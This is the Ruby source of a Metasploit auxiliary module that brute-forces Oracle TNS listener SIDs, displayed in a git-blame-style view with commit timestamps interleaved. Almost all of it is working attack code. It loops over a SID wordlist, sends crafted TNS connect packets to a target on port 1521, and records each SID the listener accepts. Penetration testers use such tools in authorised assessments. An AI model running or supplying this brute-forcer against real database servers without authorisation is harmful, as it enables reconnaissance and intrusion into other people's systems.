2009-07-16 00:03:50 +00:00
|
|
|
##
|
2017-07-24 13:26:21 +00:00
|
|
|
# This module requires Metasploit: https://metasploit.com/download
|
2013-10-15 18:50:46 +00:00
|
|
|
# Current source: https://github.com/rapid7/metasploit-framework
|
2009-07-16 00:03:50 +00:00
|
|
|
##
|
|
|
|
|
2016-03-08 13:02:44 +00:00
|
|
|
class MetasploitModule < Msf::Auxiliary
|
2013-08-30 21:28:54 +00:00
|
|
|
include Msf::Auxiliary::Report
|
|
|
|
include Msf::Exploit::Remote::TNS
|
2009-07-16 00:03:50 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def initialize(info = {})
|
|
|
|
super(update_info(info,
|
|
|
|
'Name' => 'Oracle TNS Listener SID Brute Forcer',
|
|
|
|
'Description' => %q{
|
|
|
|
This module simply attempts to discover the protected SID.
|
|
|
|
},
|
|
|
|
'Author' => [ 'MC' ],
|
|
|
|
'License' => MSF_LICENSE,
|
|
|
|
'References' =>
|
|
|
|
[
|
|
|
|
[ 'URL', 'https://www.metasploit.com/users/mc' ],
|
|
|
|
[ 'URL' , 'http://www.red-database-security.com/scripts/sid.txt' ],
|
|
|
|
],
|
|
|
|
'DisclosureDate' => 'Jan 7 2009'))
|
2009-07-16 00:03:50 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
register_options(
|
|
|
|
[
|
|
|
|
Opt::RPORT(1521),
|
|
|
|
OptString.new('SLEEP', [ false, 'Sleep() amount between each request.', '1']),
|
|
|
|
OptString.new('SIDFILE', [ false, 'The file that contains a list of sids.', File.join(Msf::Config.install_root, 'data', 'wordlists', 'sid.txt')]),
|
2017-05-03 20:42:21 +00:00
|
|
|
])
|
2009-07-16 00:03:50 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2009-07-16 00:03:50 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
def run
|
2009-07-16 00:03:50 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
s = datastore['SLEEP']
|
|
|
|
list = datastore['SIDFILE']
|
2009-07-16 00:03:50 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Starting brute force on #{rhost}, using sids from #{list}...")
|
2010-04-30 08:40:19 +00:00
|
|
|
|
2014-06-28 21:17:15 +00:00
|
|
|
fd = ::File.open(list, 'rb').each do |sid|
|
2013-08-30 21:28:54 +00:00
|
|
|
login = "(DESCRIPTION=(CONNECT_DATA=(SID=#{sid})(CID=(PROGRAM=)(HOST=MSF)(USER=)))(ADDRESS=(PROTOCOL=tcp)(HOST=#{rhost})(PORT=#{rport})))"
|
|
|
|
pkt = tns_packet(login)
|
2010-07-01 23:33:07 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
begin
|
|
|
|
connect
|
2014-06-28 21:17:15 +00:00
|
|
|
rescue ::Interrupt
|
|
|
|
raise $!
|
2013-08-30 21:28:54 +00:00
|
|
|
rescue => e
|
|
|
|
print_error(e.to_s)
|
|
|
|
disconnect
|
|
|
|
return
|
|
|
|
end
|
2009-07-16 00:03:50 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
sock.put(pkt)
|
|
|
|
select(nil,nil,nil,s.to_i)
|
2014-06-28 21:17:15 +00:00
|
|
|
res = sock.get_once
|
2013-08-30 21:28:54 +00:00
|
|
|
disconnect
|
2009-07-16 00:03:50 +00:00
|
|
|
|
2014-06-28 21:17:15 +00:00
|
|
|
if res and res.to_s !~ /ERROR_STACK/
|
2013-08-30 21:28:54 +00:00
|
|
|
report_note(
|
|
|
|
:host => rhost,
|
|
|
|
:port => rport,
|
|
|
|
:type => 'oracle_sid',
|
|
|
|
:data => "PORT=#{rport}, SID=#{sid.strip}",
|
|
|
|
:update => :unique_data
|
|
|
|
)
|
|
|
|
print_good("#{rhost}:#{rport} Found SID '#{sid.strip}'")
|
|
|
|
end
|
2014-07-16 19:56:34 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2009-07-16 00:03:50 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
print_status("Done with brute force...")
|
|
|
|
fd.close
|
2009-07-16 00:03:50 +00:00
|
|
|
|
2013-08-30 21:28:54 +00:00
|
|
|
end
|
2009-07-16 00:03:50 +00:00
|
|
|
end
|